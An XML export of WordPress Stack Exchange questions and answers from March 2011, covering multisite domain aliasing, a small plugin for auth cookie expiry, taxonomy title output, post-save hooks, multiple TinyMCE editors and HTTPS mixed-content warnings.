  <row Id="11981" PostTypeId="1" AcceptedAnswerId="11985" CreationDate="2011-03-14T13:27:28.677" Score="2" ViewCount="109" Body="&lt;p&gt;Is there a list of the ID's and Classes I can give HTML elements in the admin panel in order to closely mimic the wordpress look and feel?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-03-14T20:03:50.880" Title="Wordpress Plugin Look &amp; Feel" Tags="&lt;plugins&gt;&lt;admin&gt;&lt;css&gt;&lt;design&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="11982" PostTypeId="1" CreationDate="2011-03-14T13:27:30.317" Score="0" ViewCount="269" Body="&lt;p&gt;This is regarding to set an Alias domain to Multi-site installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to create a short domain as alias to my main website(Multi-Site enabled).I have tried it using a most common options like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)Creating cname records,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)pointing to main installation location as  addon domain &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)Domain parking  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we try the first two options it is redirecting to sign up page of Web-Site(I think Wild card redirect for Multi-site installation is the reason).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third option is making is showing an error :&quot;Debugging a Wordpress Network&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that I should configure it in Apache to solve the problem(I have root access).But I am not aware of dealing with  Apache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we contact our host,they are not trying to look in to the issue and simply said that  they would re-install the whole web-site again. I don't want to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody help me with this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I needed this domain Alias for a &lt;a href=&quot;http://wordpress.org/extend/plugins/le-petite-url/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; which enable us to shorten the URL with out any third party service . I have  Doncha's &lt;strong&gt;Domain mapping plugin&lt;/strong&gt; installed and I don't know how to use it in this situation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2 :&lt;/strong&gt; : I mean to say that the domain mapping plugin doesn't work with main site.It is only useful to map the sub-domains under a multi-site installation. I read some where over internet that the main site cannot be aliased with this plugin as it causes some problems . Could any body help to alias the main site in an alternative way ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="3477" LastEditorDisplayName="" LastEditDate="2011-04-14T14:45:03.723" LastActivityDate="2011-08-13T13:23:27.627" Title="Alias domain to Multi-site installation in Apache" Tags="&lt;multisite&gt;&lt;domain&gt;&lt;configuration&gt;&lt;apache&gt;&lt;dns&gt;" AnswerCount="1" />
  <row Id="11983" PostTypeId="2" ParentId="11979" CreationDate="2011-03-14T14:05:57.197" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress versions great than 2.4 store two cookies that set to expire in two weeks according to the &lt;a href=&quot;http://codex.wordpress.org/WordPress_Cookies&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;. According to this &lt;a href=&quot;http://www.planetmike.com/2008/06/30/how-to-make-the-wordpress-login-cookie-last-longer-than-two-weeks/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; (linked in the Codex), you can edit the &lt;code&gt;wp_set_auth_cookie&lt;/code&gt; function in the &lt;code&gt;pluggable.php&lt;/code&gt; file in the &lt;code&gt;wp-includes&lt;/code&gt; folder of Wordpress. The exact line will depend on which version of Wordpress you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is probably better is to write or use a plug-in to replace the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_auth_cookie&quot; rel=&quot;nofollow&quot;&gt;wp_set_auth_cookie&lt;/a&gt; function instead. If you edit the Wordpress core files, they will be replaced if you use the auto-updater or do a manual installation of Wordpress and copy the files without preserving whatever changes you made.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditorDisplayName="" LastEditDate="2011-03-14T14:12:50.233" LastActivityDate="2011-03-14T14:12:50.233" CommentCount="2" />
  <row Id="11984" PostTypeId="2" ParentId="11981" CreationDate="2011-03-14T14:07:15.353" Score="1" ViewCount="" Body="&lt;p&gt;There isn't an official reference, but they're easy enough to spot using Chrome's or Firebug's &quot;Inspect Element&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-14T14:07:15.353" CommentCount="2" />
  <row Id="11985" PostTypeId="2" ParentId="11981" CreationDate="2011-03-14T15:02:05.467" Score="5" ViewCount="" Body="&lt;p&gt;Onextrapixel's blog post &lt;a href=&quot;http://www.onextrapixel.com/2009/07/01/how-to-design-and-style-your-wordpress-plugin-admin-panel/&quot; rel=&quot;nofollow&quot;&gt;How To Design And Style Your WordPress Plugin Admin Panel&lt;/a&gt; isn't an official reference, but it is a nicely detailed one.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-14T15:02:05.467" CommentCount="1" />
  <row Id="11986" PostTypeId="2" ParentId="11982" CreationDate="2011-03-14T15:16:55.763" Score="0" ViewCount="" Body="&lt;p&gt;You also need to install the domain mapping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&#xA;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-14T15:16:55.763" CommentCount="1" />
  <row Id="11987" PostTypeId="2" ParentId="11836" CreationDate="2011-03-14T15:21:42.853" Score="1" ViewCount="" Body="&lt;p&gt;I have found two solutions :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) First one, very easy, just select &lt;em&gt;summary&lt;/em&gt; in the feed options of wordpress. Since this option is activated, neither pictures nor videos are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)The second one is adding this piece of code in your theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('excerpt_length',create_function('$a','return 0;'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ref : &lt;a href=&quot;http://stackoverflow.com/questions/2815551/wordpress-how-to-limit-characters-to-show-at-feeds&quot;&gt;http://stackoverflow.com/questions/2815551/wordpress-how-to-limit-characters-to-show-at-feeds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this solution, only the title of each post is available by rss ! Exactly what I want !&lt;/p&gt;&#xA;" OwnerUserId="3891" LastEditorUserId="3891" LastEditorDisplayName="" LastEditDate="2011-03-14T16:34:58.767" LastActivityDate="2011-03-14T16:34:58.767" />
  <row Id="11988" PostTypeId="2" ParentId="11972" CreationDate="2011-03-14T15:32:09.367" Score="0" ViewCount="" Body="&lt;p&gt;In your case you can save your time the trouble by using &lt;a href=&quot;http://wordpress.org/extend/plugins/members-list/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Members List Plugin&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;which allows you to create a post on your&#xA;  wordpress blog that lists all your&#xA;  wordpress members. When viewing the&#xA;  list of members you can also search&#xA;  through your members according to&#xA;  first name, last name, email address,&#xA;  URL or any other number of user meta&#xA;  fields you may specify. Employing&#xA;  pagination you can page through your&#xA;  search results and sort your results&#xA;  according to last name, first name,&#xA;  registration date or email.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T15:32:09.367" CommentCount="1" />
  <row Id="11989" PostTypeId="1" AcceptedAnswerId="11992" CreationDate="2011-03-14T15:34:33.640" Score="0" ViewCount="188" Body="&lt;p&gt;I have a custom post type Holiday associated with a taxonomy Country.&#xA;On my single-holiday.php, I use the taxonomy to display in the title.&#xA;For example&#xA;Holiday in Spain (Spain being the tax)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rarely, but it can happen, a holiday can be in 2 taxonomy terms.&#xA;Creating a problem for my title display as I use get_the_terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody has better solution for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follow&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy = 'country';&#xA;            $terms=get_the_terms($post-&amp;gt;ID,$taxonomy);&#xA;&#xA;&#xA;            if($terms) {&#xA;&#xA;               foreach( $terms as $termcountry ) {&#xA;&#xA;            ?&amp;gt;&#xA;            &amp;lt;h1&amp;gt;Holiday in &amp;lt;?php echo $termcountry-&amp;gt;name;?&amp;gt;&amp;lt;/h1&amp;gt;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-03-14T16:28:44.980" Title="Get_the_terms restrict output" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="11990" PostTypeId="1" CreationDate="2011-03-14T15:40:32.137" Score="0" ViewCount="393" Body="&lt;p&gt;I'm using 'qTranslate slug with widget' plugin which is great, however, I'm stuck on one thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set permalinks as /%post_id%/%postname%/ as recommended by plugin author - this works with my pages perfectly BUT my posts URL would then include post-id/pretty-permalink e.g. www.website.com/123/webpage (I don't want the post-id to appear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set my permalinks to /%postname%/, my posts URL appear perfect BUT my pages return a 404 (the pages exist - it doesn't to be working with qTranslate slug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm working on wp3.0.5)&#xA;I've searched for answers and seems a couple of people are also having same problem. Anyone also experienced this and found a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any tips!&lt;/p&gt;&#xA;" OwnerUserId="3907" LastEditorUserId="3907" LastEditorDisplayName="" LastEditDate="2011-03-17T10:13:21.803" LastActivityDate="2011-03-17T10:13:21.803" Title="'qTranslate slug with widget' plugin works with posts but not pages" Tags="&lt;plugin-qtranslate&gt;" CommentCount="1" />
  <row Id="11991" PostTypeId="2" ParentId="11979" CreationDate="2011-03-14T15:41:20.193" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I think I'll wait for such a plugin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Save this code in a file named &lt;code&gt;set-cookie-expire.php&lt;/code&gt; and upload it your plugins folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin will give you the ability to set a time (in days) that cookies expire within the WordPress Settings admin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Plugin Name: Set Cookie Expire&#xA; * Version: 0.1&#xA; * Description: Set the expire time for cookies in &amp;lt;a href=&quot;options-privacy.php&quot;&amp;gt;Settings &amp;amp;raquo; Privacy&amp;lt;/a&amp;gt;.&#xA; * Author: WordPress Answers&#xA; * Author URI: http://wordpress.stackexchange.com/questions/11979&#xA; */&#xA;&#xA;if ( is_admin() ) :&#xA;&#xA;/**&#xA; * Register settings.&#xA; */&#xA;function __set_cookie_expire_admin()&#xA;{&#xA;    foreach ( array( 'normal' =&amp;gt; 'Normal', 'remember' =&amp;gt; 'Remember' ) as $type =&amp;gt; $label ) {&#xA;        register_setting( 'privacy', &quot;{$type}_cookie_expire&quot;, 'absint' );&#xA;        add_settings_field( &quot;{$type}_cookie_expire&quot;, $label . ' cookie expire', '__set_cookie_expire_option', 'privacy', 'default', $type );&#xA;    }&#xA;}&#xA;add_action( 'admin_init', '__set_cookie_expire_admin' );&#xA;&#xA;/**&#xA; * Setting field callback.&#xA; */&#xA;function __set_cookie_expire_option( $type )&#xA;{&#xA;    if ( !$expires = get_option(&quot;{$type}_cookie_expire&quot;) )&#xA;        $expires = $type === 'normal' ? 2 : 14;&#xA;    echo '&amp;lt;input type=&quot;text&quot; name=&quot;' . $type . '_cookie_expire&quot; value=&quot;' . intval( $expires ) . '&quot; class=&quot;small-text&quot; /&amp;gt; days';&#xA;}&#xA;&#xA;endif;&#xA;&#xA;/**&#xA; * Filter in our user-specified expire times.&#xA; */&#xA;function __set_cookie_expire_filter( $default, $user_ID, $remember )&#xA;{&#xA;    if ( !$expires = get_option( $remember ? 'remember_cookie_expire' : 'normal_cookie_expire' ) )&#xA;        $expires = 0;&#xA;&#xA;    if ( $expires = ( intval( $expires ) * 86400 ) ) // get seconds&#xA;        $default = $expires;&#xA;    return $default;&#xA;}&#xA;add_filter( 'auth_cookie_expiration', '__set_cookie_expire_filter', 10, 3 );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/9uG2PfVV&quot; rel=&quot;nofollow&quot;&gt;Also submitted on Pastie&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-14T15:41:20.193" CommentCount="1" />
  <row Id="11992" PostTypeId="2" ParentId="11989" CreationDate="2011-03-14T16:28:44.980" Score="0" ViewCount="" Body="&lt;p&gt;you can change you code a bit :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy = 'country';&#xA;$terms=get_the_terms($post-&amp;gt;ID,$taxonomy);&#xA;if($terms) {&#xA;    echo '&amp;lt;h1&amp;gt;Holiday ';&#xA;    $total_count = count($terms);&#xA;    $country_count = 1;&#xA;    foreach( $terms as $termcountry ) {&#xA;        if ($country_count = 1){&#xA;            echo 'in '.$termcountry-&amp;gt;name;&#xA;        }else{&#xA;            if ($total_count = 2){&#xA;                echo ' And '.$termcountry-&amp;gt;name;&#xA;            }else{&#xA;                echo ', '.$termcountry-&amp;gt;name;&#xA;            }&#xA;        }&#xA;        $country_count = $country_count + 1 ;&#xA;    }&#xA;    echo '&amp;lt;/h1&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output in case of one term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Holiday in Spain&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in case of two terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Holiday in Spain And Japan&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in case of more then two terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Holiday in Spain, Japan, England&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T16:28:44.980" CommentCount="2" />
  <row Id="11993" PostTypeId="1" CreationDate="2011-03-14T16:40:38.777" Score="2" ViewCount="219" Body="&lt;p&gt;I need to do check the inserted post for certain keywords and perform some functions depending on the keywords found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a wordpress hook that executes &quot;just before the post is inserted into the database&quot; ? Or will i have to modify wordpress core ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i will need to prevent the post from being inserted into the database if some keywords are found. is this something that can be done with a hook ? Or will a core modification be needed ?&lt;/p&gt;&#xA;" OwnerUserId="3933" LastEditorUserId="3933" LastEditorDisplayName="" LastEditDate="2011-03-14T16:48:42.437" LastActivityDate="2011-03-14T22:03:01.317" Title="Wordpress hook before inserting post into database" Tags="&lt;3.0&gt;&lt;hooks&gt;" AnswerCount="3" />
  <row Id="11994" PostTypeId="2" ParentId="11437" CreationDate="2011-03-14T16:48:16.033" Score="0" ViewCount="" Body="&lt;p&gt;It sure wasn't easy but here it comes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1)I couldn't get the media button to work in any other way with the editors, while excluding the media buttons from one of the editors, but not from all of them, so i had to use the the_editor();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the JS is conflicting while implementing multi instance of tinyMCE with the_editor(); &#xA;while trying to implement more the one the_editor(); you'll see that the &quot;HTML&quot; and &quot;VISUAL&quot; tabs are conflicting and although i didn't got deep in the JS, i'm gussing that the cause is the use of an ID selectors for the &quot;edButtonHTML&quot; and &quot;edButtonPreview&quot; buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my case i didn't mind to hack the core, so i just removed, in wp-includes/general-template.php the content between the lines 1828-1831:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;quicktags&quot;&amp;gt;&amp;lt;?php&#xA;wp_print_scripts( 'quicktags' ); ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; edToolbar()&amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(2) and hid the &quot;edButtonHTML&quot; and &quot;edButtonPreview&quot; buttons, in functions.php (this annoying WYSIWYG is not letting me to show you the whole &quot;&amp;lt;&quot;style&quot;&gt;&quot; function snipt, but you got the picture:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;edButtonPreview {display:none}&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;edButtonHTML {display:none}&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;(3) And as the final punch, the media-buttons are also conflicting because here also we're using ID as selectors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;media-buttons&quot; class=&quot;hide-if-no-js&quot;&amp;gt;&#xA;Upload/Insert &#xA;    &amp;lt;a href=&quot;media-upload.php?post_id=0&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=1&quot; id=&quot;add_image&quot; class=&quot;thickbox&quot; title=&quot;Add an Image&quot;&amp;gt;&amp;lt;img src=&quot;http://testit.yuvalaloni.co.il/wp-admin/images/media-button-image.gif?ver=20100531&quot; alt=&quot;Add an Image&quot; onclick=&quot;return false;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;media-upload.php?post_id=0&amp;amp;amp;type=video&amp;amp;amp;TB_iframe=1&quot; id=&quot;add_video&quot; class=&quot;thickbox&quot; title=&quot;Add Video&quot;&amp;gt;&amp;lt;img src=&quot;http://testit.yuvalaloni.co.il/wp-admin/images/media-button-video.gif?ver=20100531&quot; alt=&quot;Add Video&quot; onclick=&quot;return false;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;media-upload.php?post_id=0&amp;amp;amp;type=audio&amp;amp;amp;TB_iframe=1&quot; id=&quot;add_audio&quot; class=&quot;thickbox&quot; title=&quot;Add Audio&quot;&amp;gt;&amp;lt;img src=&quot;http://testit.yuvalaloni.co.il/wp-admin/images/media-button-music.gif?ver=20100531&quot; alt=&quot;Add Audio&quot; onclick=&quot;return false;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;media-upload.php?post_id=0&amp;amp;amp;TB_iframe=1&quot; id=&quot;add_media&quot; class=&quot;thickbox&quot; title=&quot;Add Media&quot;&amp;gt;&amp;lt;img src=&quot;http://testit.yuvalaloni.co.il/wp-admin/images/media-button-other.gif?ver=20100531&quot; alt=&quot;Add Media&quot; onclick=&quot;return false;&quot;&amp;gt;&amp;lt;/a&amp;gt;       &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is when you aren't focusing on the editor by click, the media button is acting on the last editor only. the magic to solve this is by adding a Jquery listener that uses the tinyMCE API for focusing on each of the editors as you hover them. &#xA;The first argument of the &quot;tinyMCE.execInstanceCommand&quot; is the ID of the editor, AKA the ID that you've used in the_editor() functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;&#xA;        jQuery('#editor-one').mouseover(function() {&#xA;            tinyMCE.execInstanceCommand(&quot;MoobWelcomeText&quot;, &quot;mceFocus&quot;); &#xA;        });&#xA;&#xA;        jQuery('#editor-two').mouseover(function() {&#xA;            tinyMCE.execInstanceCommand(&quot;MoobWelcomeText2&quot;, &quot;mceFocus&quot;);&#xA;        });&#xA;&#xA;        jQuery('#editor-three').mouseover(function() {&#xA;            tinyMCE.execInstanceCommand(&quot;MoobWelcomeText3&quot;, &quot;mceFocus&quot;); &#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it. tell me how it goes. does some one know how to declare a bug in TRAC? i never did it and i think this is a bug, as it won't let wordpress developers use more then one tinyMCE editor, otherwise... unless i missed something. &lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-14T16:48:16.033" />
  <row Id="11995" PostTypeId="2" ParentId="11993" CreationDate="2011-03-14T16:50:38.620" Score="2" ViewCount="" Body="&lt;p&gt;The hook is save_post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action('save_post', 'dosomething'), 10, 2);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-14T16:50:38.620" />
  <row Id="11996" PostTypeId="2" ParentId="11095" CreationDate="2011-03-14T17:19:52.550" Score="0" ViewCount="" Body="&lt;p&gt;Did you try going into your SQL file and seeing if they are in there? Most the time the settings would be in there but I could be wrong, if they are you would have to likely import the tables manually. I had a issue similar to this and that's what I had to do.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-03-14T17:19:52.550" />
  <row Id="11997" PostTypeId="1" AcceptedAnswerId="11998" CreationDate="2011-03-14T17:34:38.853" Score="-1" ViewCount="59" Body="&lt;p&gt;I've been thinking of making a WordPress e-commerce theme that looks and feels like another (non-WordPress) website.  I'm playing with the idea of selling this theme that I shall be making.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will not do anything like steal their CSS/images, I will use my own code and images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this wrong?&lt;/p&gt;&#xA;" OwnerUserId="3403" LastActivityDate="2011-03-14T17:53:59.387" ClosedDate="2011-03-15T12:15:16.363" Title="Is it Wrong to Make a WordPress Theme That Looks Like Another Website?" Tags="&lt;themes&gt;" AnswerCount="2" />
  <row Id="11998" PostTypeId="2" ParentId="11997" CreationDate="2011-03-14T17:44:52.077" Score="0" ViewCount="" Body="&lt;p&gt;Define &quot;wrong&quot;. Illegal? Depends on copyright. Unethical? Possibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also probably doing your customers a disservice. I mean, your website &lt;em&gt;is&lt;/em&gt; your identity these days, so to crib someone else's is to deny yourself the opportunity to develop a unique, recognizable and (hopefully) profitable identity of your own.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-03-14T17:44:52.077" />
  <row Id="11999" PostTypeId="1" AcceptedAnswerId="12026" CreationDate="2011-03-14T17:48:10.787" Score="0" ViewCount="116" Body="&lt;p&gt;My site is using a short vanity URL and https (for admin logins). This is working across all of the custom theme pages in every browser except Internet Explorer. Specifically in IE7, every page I visit in the site presents this warning message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Security Information This page&#xA;  contains both secure and non-secure&#xA;  items. Do you want to display the&#xA;  nonsecure items?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you think the site being https is causing this? Anything I can do to fix this?&lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-14T19:23:36.873" Title="Internet Explorer &quot;Security Information&quot; on every page in https site" Tags="&lt;https&gt;" AnswerCount="1" />
  <row Id="12000" PostTypeId="2" ParentId="11095" CreationDate="2011-03-14T17:50:36.250" Score="0" ViewCount="" Body="&lt;p&gt;The WXR format doesn't handle plugin settings natively, but it seems as though you're using a straight SQL dump to transfer sites. In this case, I would take a look at the contents of your options table. Check out the (BLOG URL)/wp-admin/options.php output on both sites and see if anything is obviously not being translated from blog A to blog B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See, for instance, &lt;a href=&quot;http://wpbits.wordpress.com/2007/08/07/quick-access-to-wordpress-options/&quot; rel=&quot;nofollow&quot;&gt;http://wpbits.wordpress.com/2007/08/07/quick-access-to-wordpress-options/&lt;/a&gt;, for a fuller description of the relatively-unknown but eminently useful options.php)&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-03-14T17:50:36.250" />
  <row Id="12001" PostTypeId="2" ParentId="11997" CreationDate="2011-03-14T17:53:59.387" Score="3" ViewCount="" Body="&lt;p&gt;This is not a WordPress question. Read a site like Techdirt to get a feel for the rights and wrongs of copying.  Often its good, certainly to take inspiration from another site.  But a simple copy-and-paste job doesn't do you any favours.&lt;/p&gt;&#xA;" OwnerUserId="5433" LastActivityDate="2011-03-14T17:53:59.387" />
  <row Id="12002" PostTypeId="1" AcceptedAnswerId="12007" CreationDate="2011-03-14T17:56:48.477" Score="0" ViewCount="84" Body="&lt;p&gt;&lt;code&gt;&amp;lt;?php $post_type = get_post_type( $post-&amp;gt;ID ); if  $post_type == 'project' : echo 'Work'; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the above work? I want it so that if the post type is 'projects', then it echoes 'Work'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I want to add another &lt;code&gt;if post type is 'movies' then it echoes 'Film'&lt;/code&gt; on top of that.&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-03-14T18:05:10.187" LastActivityDate="2011-03-14T18:23:23.297" Title="How do I echo the post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="12003" PostTypeId="1" CreationDate="2011-03-14T18:10:40.473" Score="0" ViewCount="91" Body="&lt;p&gt;are there built-in functions to build a modern HTML grid in wordpress? for example, one that is page-able and sortable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2025" LastEditorUserId="2025" LastEditorDisplayName="" LastEditDate="2011-03-14T18:57:22.257" LastActivityDate="2011-03-14T18:57:22.257" Title="Which function(s) to build a paged HTML table" Tags="&lt;html&gt;&lt;ajax&gt;&lt;forms&gt;" CommentCount="3" />
  <row Id="12004" PostTypeId="1" AcceptedAnswerId="12008" CreationDate="2011-03-14T18:15:33.337" Score="0" ViewCount="166" Body="&lt;p&gt;I'm currently using the_post_thumbnail(); to display featured images in my pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set a fallback placeholder image in the event a featured image hasn't been set? &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-14T18:26:41.133" Title="Featured image/thumbnail fallback placeholder image" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="12005" PostTypeId="2" ParentId="12002" CreationDate="2011-03-14T18:21:36.763" Score="0" ViewCount="" Body="&lt;p&gt;Why not use native labels that you set up for custom post type?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_type = get_post_type_object($post-&amp;gt;post_type);&#xA;echo $post_type-&amp;gt;labels-&amp;gt;singular_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T18:21:36.763" />
  <row Id="12006" PostTypeId="2" ParentId="11803" CreationDate="2011-03-14T18:22:56.217" Score="2" ViewCount="" Body="&lt;p&gt;Saw that you and a few others had their doubts about Media Temple. First off, if you have any questions feel free to ask. We have a good amount of customers with different experiences, be it bad or good. The shared service gets a lot more grief than our VPS, which many of our customers are very happy with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see many people recommending VPS hosting, and if that's what you are looking for you may give our new (dv) 4.0 a look. Depending on your price range, we may or may not be the right place for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@saltcod&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do indeed have times where are we do fall short in providing consistently fast service. We are constantly working on improving our shared service to run as quickly as possible. At times the slowness is definitely our fault. At other times we find that customers are running sites that are either too big for what they have, or they are inundated with things that are making the site run slow (plugins, themes, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, not all customers that carry that logo are sponsored, some of those customers are also using our referral program. We make the badges publicly available on our website.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to let me know if you have any other questions regarding our services.&lt;/p&gt;&#xA;" OwnerUserId="3936" LastActivityDate="2011-03-14T18:22:56.217" CommentCount="1" />
